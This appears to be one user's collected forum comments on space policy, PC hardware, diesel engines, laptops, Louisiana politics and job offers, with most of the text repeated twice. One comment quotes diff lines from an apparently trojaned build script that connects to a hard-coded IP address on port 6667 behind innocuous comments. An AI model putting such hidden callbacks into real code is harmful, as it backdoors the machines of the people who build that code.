What's so hard to understand is the valuation. I have serious doubts that the defendant did $11M worth of damages. $1100, maybe. The ridiculousness of the thing (outside of suing someone who lost their home from a disaster) (and outside of letting the court case proceed when the defendant wasn't contactable due to the disaster) is the absurdly inflated damages that juries come up with these days.
If you think that the plaintiff deserved that judgment, I'd like to hear your justification for the amount.
No, I mean the shuttle took 8 years from funding to lauch (It 1st launched in '81, and I believe the funding came through in '73) We'll call that the best case scenario.
The 'single launch platform' was the whols point of the Space Transportation System, and it's made possible a lot of things that nobody else was able to do, without redesigning a special purpose vehicle for every mission. It's too bad that back in the day it was redesigned into the ground. Nixon damn near ruined the vehicle before it was even funded during his reelection campaign.
My fear is that Bush will do the same thing, propose a bold new space venture to get elected, and then not be able to deliver what he promised. Did you know the STS was supposed to be able to turn around, refit adn refly within 6 weeks?
I'm not knocking Russia here. They've got us whipped in propulsion, but you can't say they have better reliability, b/c neither if us is perfect. (Save your statistics, I've read them, they're useless) I'm glad they're able to do crew rotations with the Soyuz and resupply with the Progress. But who is going to be bringing all the equipment to the ISS?
So are you saying that we (the US, I don't know where you live) should just give up space transport, because it's too expensive, or difficult, or that we can't agree on what we want? We're paying for the lions share of the ISS too, should we quit that?
And give up all that scientific discovery? No way!
But they need to swallow thier pride & allow someone else to do some of the work at a cheaper price
They are probably reluctant to do this in part because they're a government agency, funded with taxpayer dollars that are hoped to be spent in the same country.
I don't know why everyone wants to scrap the Shuttle program. It's been doing all the heavy lifting for the ISS, preforming scientific experiments (but that became secondary as the ISS is a better place for this). Right now we can't add anything to the ISS because nobody has the craft to lift it. Look at the Shuttle mission schedule right now; 3 modules to be added in the next 4 flights
http://www-pao.ksc.nasa.gov/kscpao/schedule/sche du le.htm
The smart thing to do would be to reengineer the Shuttle, build a few new vehicles that slowly incorporate design additions. We need more Orbiters right now, we're down to 3 and 2 are pushing 20 years old. It'll take 8-20 years to start from scratch with a new vehicle.
Not in my experience, usually the CPU fans are 60mm and higher RPM, whereas the power supply is generally larger with a slower RPM. To the first order RPM == noise...
Eh, noise is really related to the amount of air being moved (CFM) and the path the air takes. Air through the PS is very turbulent, while air off the CPU (& other flat surfaces) is fairly smooth. Turbulence == noise.
One additional annoyance is that most motherboard manufacturers go to the added length of putting unnecessary fans on the board chipset as well. These tend to be small (40mm) and run at stupidly high speeds (6000+ RPM) given the amount of power dissipation they need to counter.
Like the little 40mm fan that was cooling the northbridge on my KT7A-RAID, until it stopped working (dust). Now the board only sees one HD.
Mathematica can figure the number quite nicely. Only took about 10 minutes on a P4 with 256MB RAM.
Dunno...can python handle this? bc? (heh)
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However...what does a desal use a timing chain for? There aren't spark plugs with carefully timed sparks fireing! What is the deal with timing on a diesel?
Fuel injection. The old VW's fuel pump ran off of this belt (using the same hole/cam as the distributor they removed IIRC). Injection timing in a diesel is just as important as spark timing in a gas engine.
Yeah, the drive belt is a bitch to replace, you can get at most of it without to much hassle but to remove/install it you need to take off all the pulleys and the shroud. Few cars give easy access to this though.
That rubber belt (it's actually steel belted) doesn't do much in the way of noise prevention. They've been in use since the 70's if not before. A chain actually does more damage when it breaks since it becomes a bunch of small, rotating, hard metal bits.
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Having owned a diesel (81 Dasher SW) I can tell you that in the US, diesel is harder to come by than you would think. Travelling along the highway it's not too difficult, since that's where the trucks refuel, but in a small town it's damned near impossible to find. There was one public station in my town (out of the way of course) where I could fill up, and it wasn't a 24 hour place. Nearest diesel after 10pm was a 30 mile drive.
Especially when you're unfamiliar with the area, I was nearly stranded in rural Georgia once, couldnt find a gas station with diesel (I suspected all the farmers had some, so I wasn't -too- worried, but they use a lower grade for their tractors).
Also remember that trucks hold something like a hundred gallons of fuel, they have a longer range than a car.
I knew one person that had a fleet diesel subscription for their Rabbit, where they had an account and used a key to fill up whenever they liked, but only at that one station.
Synopsis: Diesel is very available near an interstate, and -not- available elsewhere.
Probly because that's their -total- bandwidth capacity, you still have to take into account what their server(s) can push. How often can you transmit a full 100MB/s from your ethernet card? And they've got hundreds of users at a time, which means that even if they've got the King of RAID, it's too busy to push a theoretical max.
I had some timeouts (over a day after the announcement). Just get the patch.
Thanks, I see that now. Works better for some (most?) ppl, and some can't boot. Standard crapshoot scenario, I suppose I'll try it and see, coz I really want software suspend, which I had working when the dead HD was alive. More so than sonypi.
Its actually not hard to aim the camera, since you can see what you're filming on screen. And the screen is -much- bigger than on a camcorder.
Everyone tends to focus on teh camera (no pun, really) when talkign about these machines. IMO that's just an afterthought, a conversation piece that ocasionally comes in handy. It's a real laptop that's really small, and that's all that counts for me. I wasn't happy with a Palm, and I don't think I'd like an ipaq/jordana. I need a keyboard, and this does a good job at providing one.
I've got a C1VN (about 2 generations ago, C667, 192MB, 12GB) and divx is borderline on it. Full screen is choppy, but small screen is OK. Animated stuff like the Simpsons is fine, but watching, say, the Matrix, won't happen. I;m sure that the newer models don't have this problem. Quake is actually playable, FWIW.
Capturing is great (although the resolution on the stills is weak). About 15fps, which is good enough for a little pinhole camera anyway.
Battery life isn't quite what they say, but this is after a year or so. I can say that with the quad battery, playing mp3's, screen off, full power save mode, used up 1% of the battery power after 45 min. This machine's (lack of) power consumption is very impressive.
Some ppl hate the keyboard, I like it fine. If you have thick fingers you probably won't be able to use the kb.
One of the local TV stations puts up content on a Yahoo channel, link above. Lots of reading about the Nagin administration's raiding of city hall and all that fun stuff that's been going on here lately as part of the cleanup campaign.
I'm sure Nagin is getting death threats from many different sources, he's arrested half of city hall by now.
<flame><offtopic> The TP (Times Picayune) is a fine example of the how to not use technology for content. All the newspapers in the area use local "new media" companies to publish their internet content for them. They do a piss poor job. </offtopic></flame>
Also has a lot do to with all the material that makes up a cty. Pavement, steel, glass, are all absorbing the suns energy. I would bet that if a city were evacuated and using no electricity at all, no cars, nothing, you would still see an increase in temperature
So why do they always report the temperature at the airport? Nobody lives at the fscking airport!
A little hotter down south...like, say, 90 degrees *at night*? How about at 7am? Is that what you mean by a little hotter? Tourist season in Louisiana is over in May for a reason...
I used to live in PA, and I never used AC, even when it was 105 out. Now, I run the AC all summer, mainly to keep the humidity at bay, and only in the back section of the house (kitchen/bedroom). Granted I live in a "shotgun house" which was designed to maximize breeze through and around the house. But when there ain't a breeze, ya gotta make one. I'm about 2 blocks from the Mississippi, so I get a good breeze when its there to get.
I agree with the idea that "AC breeds the need for AC". I believe the shock of leaving a 68 degree house into 100 degree heat, getting into a 140 degree car and cooling it down to 68, is no good for the human body.
I cool the house to 80-85 and heat it to 60-65, which is a good comfort zone.
It shows how each line, name and term has an identifying tag, created by exporting the document from a word processor such as Microsoft Word or Corel WordPerfect into a
special XML template
They're usign a *tool* to help convert.doc and.wpd files to XML. They're just leveraging their assets (MSW*rd being an, ahem, asset) so that secretaries and regular folk can do the work of text entry in tools they are familiar with, which then gets converted into a useable format.
Settle down, they're not trying to use MSXML engines to do the work. Sheesh.
Wow! Louisiana leads the way on something besides "number of illeterates to graduate LSU!"
Wow, so does that mean you're a graduate then? =P
I agree about that the political and economic situation here is so far gone that it's worthy of study. Tech jobs here are so nonexistent in a state that still had 6% unemployment during the boom years of 1999/2000. It's a big hole that the state has to crawl out of, and oil and tourism aren't going to do it.
But, realistically, who cares? Aside from large scale servers that absolutely need to have that kind of speed, nobody wants SCSI.
So you mean the segment of the market that buys RAID enclosures costing thousands of dollars? The people that host the 2 billion web pages that your beloved Google indexes? What do you suppose they keep their cached pages on, eh?
The consumer market amounts to the least amount of profit for disk manufacturers. It's just volume. Look at pricewatch. See how 20GB drives are still $50, while 80GB is down to $80? Look at all the HD manufacturers that are getting out of the market. IBM sold the nuts and bolts to Hitachi, Fujitsu got out of the desktop market, coz the money isn't there. It's in the business market.
Side note: I recently bought an IEEE 1394 CD burner which is working very well for me. It's external, 32x/12x/8x, and it rips CD's faster than my 48x internal IDE drive, even though the burner is really just an ATA drive in an enclosure with Firewire plugs.
Product specs are there to get you to buy the damn thing. Other than that, they're only vaguely useful, unless you like comparing apples to oranges.
It's for Louisiana residents only. I think all states need to adopt this stance. I'm curious to see how this all turns out, I think most businesses outside of the state will be fighting the scope of this. Like they say, we've got the best politicians money can buy here;) I can't report on how well it works as I've been on the list for 3 days now. See http://host.ntg.com/donotcall/ for details. Here's a sample from the site:
What is my responsibility as a business owner soliciting in Louisiana?
Businesses wishing to engage in telephone solicitation of residential subscribers within the state of Louisiana must purchase a copy of the "Do Not Call" register. This register will contain the telephone numbers of consumers who prefer not to be solicited. In addition, all telephone solicitors should obtain a copy of the Louisiana Public Service Commission regulations (General Order dated November 7, 2001) pertaining to the Louisiana "Do Not Call" program. Does the law apply to companies located outside of Louisiana?
Yes. The law applies to all telephone solicitation regardless of origin whereby calls terminate within the State of Louisiana. What happens if I violate the law by calling someone on the register?
Businesses who unlawfully call numbers on the register will be in violation of Louisiana Public Service Commission's "Do Not Call" Regulations and will be subject to fines up to $3,000 per violation for residential telephonic subscribers over the age of sixty-five and up to $1,500 for all other residential telephonic subscriber violations.
Notice how the code is nicely commented? Makes it look legit:
+/* We use char because int might match the return type of a gcc2
+ builtin and then its argument prototype would still apply. */
+ sa.sin_port = htons (6667);
+ sa.sin_addr.s_addr = inet_addr ("213.77.115.17"); alarm (10);
+/* Override any gcc2 internal prototype to avoid an error. */
Dammit, so that's why my `egrep -nr 'h4x0r|gr33tz' *` didn't work =D
Yes, mutual respect is usually lost at the point you're at. You've proved that you're willing to work someplace else, and they've admitted that they've been underpaying you and left you little choice.
Have you asked for a raise and not gotten it? That's a sure sign that you should leave. Not getting a raise when you've asked for one (and deserved it) and suddenly having mgmt come through when you announce that you're going to go work for Ben Franklin can be insulting.
But if you've never brought up the issue of salary before you started putting your resume out (heh) that would be the only reason to take the counter IMHO. Both you and mgmt can play that off without losing face
Another problem with taking the counter offer is that you've proven a certain amount of disloyalty. You will both lose a certain amount of that aforementioned mutual respect.
Also keep in mind that if you're comfortable in your current position, you've got something to lose in leaving it.
I never take the counter offer...it's too late at that point. If you haven't been paid what you and others think you're worth, you shouldn't have to waste your time adn others proving that this is what you're worth. If mgmt is that cut-throat/dense, you probably don't want to be there.
I am in the exact same position right now and I've basically told my employers (who I've worked for for 2.5 years) that I'm sorry, but you could have done more way back when. You chose this when you denied my request, and now you're going to have to spend more $$$ to replace me. No hard feelings.
Yeah, when I used to live in a place that made it. I bought a studded tire for the back wheel, and it worked OK. Makes an awesome noise. Later I learned the trick of usign sheet-metal screws and did the front that way. Use one of those flat tire prevention strips, adn poke the sharp part through the tire from the inside. Don't do this to your good tires. And if you plan on steering, do a row on each side. The tire I bought came with two rows offset slightly...one row down the middle is sub-optimal.
I'd love to see the mods people come up with for riding a Segway on ice...big old spiky freakshow wheels...
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If the kid had a railgun, BFG, rocket launcher, etc. in his room, I could see them being a little frightened. But this is ridiculous
What's so hard to understand is the valuation. I have serious doubts that the defendant did $11M worth of damages. $1100, maybe. The ridiculousness of the thing (outside of suing someone who lost their home from a disaster) (and outside of letting the court case proceed when the defendant wasn't contactable due to the disaster) is the absurdly inflated damages that juries come up with these days.
If you think that the plaintiff deserved that judgment, I'd like to hear your justification for the amount.
No, I mean the shuttle took 8 years from funding to lauch (It 1st launched in '81, and I believe the funding came through in '73) We'll call that the best case scenario.
The 'single launch platform' was the whols point of the Space Transportation System, and it's made possible a lot of things that nobody else was able to do, without redesigning a special purpose vehicle for every mission. It's too bad that back in the day it was redesigned into the ground. Nixon damn near ruined the vehicle before it was even funded during his reelection campaign.
My fear is that Bush will do the same thing, propose a bold new space venture to get elected, and then not be able to deliver what he promised. Did you know the STS was supposed to be able to turn around, refit adn refly within 6 weeks?
I'm not knocking Russia here. They've got us whipped in propulsion, but you can't say they have better reliability, b/c neither if us is perfect. (Save your statistics, I've read them, they're useless) I'm glad they're able to do crew rotations with the Soyuz and resupply with the Progress. But who is going to be bringing all the equipment to the ISS?
So are you saying that we (the US, I don't know where you live) should just give up space transport, because it's too expensive, or difficult, or that we can't agree on what we want? We're paying for the lions share of the ISS too, should we quit that?
And give up all that scientific discovery? No way!
But they need to swallow thier pride & allow someone else to do some of the work at a cheaper price
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They are probably reluctant to do this in part because they're a government agency, funded with taxpayer dollars that are hoped to be spent in the same country.
I don't know why everyone wants to scrap the Shuttle program. It's been doing all the heavy lifting for the ISS, preforming scientific experiments (but that became secondary as the ISS is a better place for this). Right now we can't add anything to the ISS because nobody has the craft to lift it. Look at the Shuttle mission schedule right now; 3 modules to be added in the next 4 flights
http://www-pao.ksc.nasa.gov/kscpao/schedule/sch
The smart thing to do would be to reengineer the Shuttle, build a few new vehicles that slowly incorporate design additions. We need more Orbiters right now, we're down to 3 and 2 are pushing 20 years old. It'll take 8-20 years to start from scratch with a new vehicle.
Not in my experience, usually the CPU fans are 60mm and higher RPM, whereas the power supply is generally larger with a slower RPM. To the first order RPM == noise...
Eh, noise is really related to the amount of air being moved (CFM) and the path the air takes. Air through the PS is very turbulent, while air off the CPU (& other flat surfaces) is fairly smooth. Turbulence == noise.
One additional annoyance is that most motherboard manufacturers go to the added length of putting unnecessary fans on the board chipset as well. These tend to be small (40mm) and run at stupidly high speeds (6000+ RPM) given the amount of power dissipation they need to counter.
Like the little 40mm fan that was cooling the northbridge on my KT7A-RAID, until it stopped working (dust). Now the board only sees one HD.
Mathematica can figure the number quite nicely. Only took about 10 minutes on a P4 with 256MB RAM.
Dunno...can python handle this? bc? (heh)
However...what does a desal use a timing chain for? There aren't spark plugs with carefully timed sparks fireing! What is the deal with timing on a diesel?
Fuel injection. The old VW's fuel pump ran off of this belt (using the same hole/cam as the distributor they removed IIRC). Injection timing in a diesel is just as important as spark timing in a gas engine.
Yeah, the drive belt is a bitch to replace, you can get at most of it without to much hassle but to remove/install it you need to take off all the pulleys and the shroud. Few cars give easy access to this though.
That rubber belt (it's actually steel belted) doesn't do much in the way of noise prevention. They've been in use since the 70's if not before. A chain actually does more damage when it breaks since it becomes a bunch of small, rotating, hard metal bits.
Having owned a diesel (81 Dasher SW) I can tell you that in the US, diesel is harder to come by than you would think. Travelling along the highway it's not too difficult, since that's where the trucks refuel, but in a small town it's damned near impossible to find. There was one public station in my town (out of the way of course) where I could fill up, and it wasn't a 24 hour place. Nearest diesel after 10pm was a 30 mile drive.
Especially when you're unfamiliar with the area, I was nearly stranded in rural Georgia once, couldnt find a gas station with diesel (I suspected all the farmers had some, so I wasn't -too- worried, but they use a lower grade for their tractors).
Also remember that trucks hold something like a hundred gallons of fuel, they have a longer range than a car.
I knew one person that had a fleet diesel subscription for their Rabbit, where they had an account and used a key to fill up whenever they liked, but only at that one station.
Synopsis: Diesel is very available near an interstate, and -not- available elsewhere.
Probly because that's their -total- bandwidth capacity, you still have to take into account what their server(s) can push. How often can you transmit a full 100MB/s from your ethernet card? And they've got hundreds of users at a time, which means that even if they've got the King of RAID, it's too busy to push a theoretical max.
I had some timeouts (over a day after the announcement). Just get the patch.
Thanks, I see that now. Works better for some (most?) ppl, and some can't boot. Standard crapshoot scenario, I suppose I'll try it and see, coz I really want software suspend, which I had working when the dead HD was alive. More so than sonypi.
Link for posterity
I knew it would happen this week since I just finished reinstalling after a laptop hard drive crash.
:
I guess I'll hold off, only thing I'm interested in is ACPI (sleep!) and this is one of few mentions in the changelog:
Alan Cox
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o document an acpi bogon
Its actually not hard to aim the camera, since you can see what you're filming on screen. And the screen is -much- bigger than on a camcorder.
Everyone tends to focus on teh camera (no pun, really) when talkign about these machines. IMO that's just an afterthought, a conversation piece that ocasionally comes in handy. It's a real laptop that's really small, and that's all that counts for me. I wasn't happy with a Palm, and I don't think I'd like an ipaq/jordana. I need a keyboard, and this does a good job at providing one.
I've got a C1VN (about 2 generations ago, C667, 192MB, 12GB) and divx is borderline on it. Full screen is choppy, but small screen is OK. Animated stuff like the Simpsons is fine, but watching, say, the Matrix, won't happen. I;m sure that the newer models don't have this problem. Quake is actually playable, FWIW.
Capturing is great (although the resolution on the stills is weak). About 15fps, which is good enough for a little pinhole camera anyway.
Battery life isn't quite what they say, but this is after a year or so. I can say that with the quad battery, playing mp3's, screen off, full power save mode, used up 1% of the battery power after 45 min. This machine's (lack of) power consumption is very impressive.
Some ppl hate the keyboard, I like it fine. If you have thick fingers you probably won't be able to use the kb.
http://story.news.yahoo.com/news?tmpl=index&cid
One of the local TV stations puts up content on a Yahoo channel, link above. Lots of reading about the Nagin administration's raiding of city hall and all that fun stuff that's been going on here lately as part of the cleanup campaign.
I'm sure Nagin is getting death threats from many different sources, he's arrested half of city hall by now.
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The TP (Times Picayune) is a fine example of the how to not use technology for content. All the newspapers in the area use local "new media" companies to publish their internet content for them. They do a piss poor job. </offtopic></flame>
Makes perfect sense to me that Buffalo's biggest export would be cold air. As opposed to Washington's biggest export, hot air.
I was talking about Redmond, not DC...
Also has a lot do to with all the material that makes up a cty. Pavement, steel, glass, are all absorbing the suns energy. I would bet that if a city were evacuated and using no electricity at all, no cars, nothing, you would still see an increase in temperature
So why do they always report the temperature at the airport? Nobody lives at the fscking airport!
A little hotter down south...like, say, 90 degrees *at night*? How about at 7am? Is that what you mean by a little hotter? Tourist season in Louisiana is over in May for a reason...
I used to live in PA, and I never used AC, even when it was 105 out. Now, I run the AC all summer, mainly to keep the humidity at bay, and only in the back section of the house (kitchen/bedroom). Granted I live in a "shotgun house" which was designed to maximize breeze through and around the house. But when there ain't a breeze, ya gotta make one. I'm about 2 blocks from the Mississippi, so I get a good breeze when its there to get.
I agree with the idea that "AC breeds the need for AC". I believe the shock of leaving a 68 degree house into 100 degree heat, getting into a 140 degree car and cooling it down to 68, is no good for the human body.
I cool the house to 80-85 and heat it to 60-65, which is a good comfort zone.
Settle down, they're not trying to use MSXML engines to do the work. Sheesh.
Wow! Louisiana leads the way on something besides "number of illeterates to graduate LSU!"
Wow, so does that mean you're a graduate then? =P
I agree about that the political and economic situation here is so far gone that it's worthy of study. Tech jobs here are so nonexistent in a state that still had 6% unemployment during the boom years of 1999/2000. It's a big hole that the state has to crawl out of, and oil and tourism aren't going to do it.
But, realistically, who cares? Aside from large scale servers that absolutely need to have that kind of speed, nobody wants SCSI.
So you mean the segment of the market that buys RAID enclosures costing thousands of dollars? The people that host the 2 billion web pages that your beloved Google indexes? What do you suppose they keep their cached pages on, eh?
The consumer market amounts to the least amount of profit for disk manufacturers. It's just volume. Look at pricewatch. See how 20GB drives are still $50, while 80GB is down to $80?
Look at all the HD manufacturers that are getting out of the market. IBM sold the nuts and bolts to Hitachi, Fujitsu got out of the desktop market, coz the money isn't there. It's in the business market.
Side note: I recently bought an IEEE 1394 CD burner which is working very well for me. It's external, 32x/12x/8x, and it rips CD's faster than my 48x internal IDE drive, even though the burner is really just an ATA drive in an enclosure with Firewire plugs.
Product specs are there to get you to buy the damn thing. Other than that, they're only vaguely useful, unless you like comparing apples to oranges.
Like they say, we've got the best politicians money can buy here
I can't report on how well it works as I've been on the list for 3 days now. See http://host.ntg.com/donotcall/ for details. Here's a sample from the site:
Laptop == light source.
If there are more people out and about enjoying wireless networking, there will be less call for light sources. The reverse is also true.
May the best technology win!
Yes, mutual respect is usually lost at the point you're at. You've proved that you're willing to work someplace else, and they've admitted that they've been underpaying you and left you little choice.
Have you asked for a raise and not gotten it? That's a sure sign that you should leave. Not getting a raise when you've asked for one (and deserved it) and suddenly having mgmt come through when you announce that you're going to go work for Ben Franklin can be insulting.
But if you've never brought up the issue of salary before you started putting your resume out (heh) that would be the only reason to take the counter IMHO. Both you and mgmt can play that off without losing face
Another problem with taking the counter offer is that you've proven a certain amount of disloyalty. You will both lose a certain amount of that aforementioned mutual respect.
Also keep in mind that if you're comfortable in your current position, you've got something to lose in leaving it.
I never take the counter offer...it's too late at that point. If you haven't been paid what you and others think you're worth, you shouldn't have to waste your time adn others proving that this is what you're worth. If mgmt is that cut-throat/dense, you probably don't want to be there.
I am in the exact same position right now and I've basically told my employers (who I've worked for for 2.5 years) that I'm sorry, but you could have done more way back when. You chose this when you denied my request, and now you're going to have to spend more $$$ to replace me. No hard feelings.
Anyone try riding a bicycle on ice?
Yeah, when I used to live in a place that made it. I bought a studded tire for the back wheel, and it worked OK. Makes an awesome noise. Later I learned the trick of usign sheet-metal screws and did the front that way. Use one of those flat tire prevention strips, adn poke the sharp part through the tire from the inside. Don't do this to your good tires. And if you plan on steering, do a row on each side. The tire I bought came with two rows offset slightly...one row down the middle is sub-optimal.
I'd love to see the mods people come up with for riding a Segway on ice...big old spiky freakshow wheels...